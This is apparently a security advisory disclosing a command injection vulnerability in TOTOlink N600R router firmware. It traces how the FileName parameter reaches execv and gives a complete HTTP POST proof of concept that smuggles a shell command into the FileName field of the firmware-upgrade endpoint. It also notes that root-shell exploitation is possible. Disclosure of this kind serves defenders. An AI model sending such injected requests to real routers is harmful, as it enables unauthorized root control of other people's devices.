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TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

1. Affected version

image-20220406182121036

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220406183836895

The program passes the contents obtained by the filename parameter to V8

image-20220406183906774

Then, format the matching content of V8 through the sprintf function into V31, and bring V31 into the cstesystem function

image-20220406182546918

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V5.3c.7159_B20190425
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 111
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/upload_firmware.asp?timestamp=1647873626298
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647873424:2
Connection: close

{"topicurl":"setting/setUpgradeFW",
"FileName":"test1$(ls>/tmp/8.txt;)",
"ContentLength":"1",
"Flags":"1"
}

The reproduction results are as follows:

image-20220406183942361

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell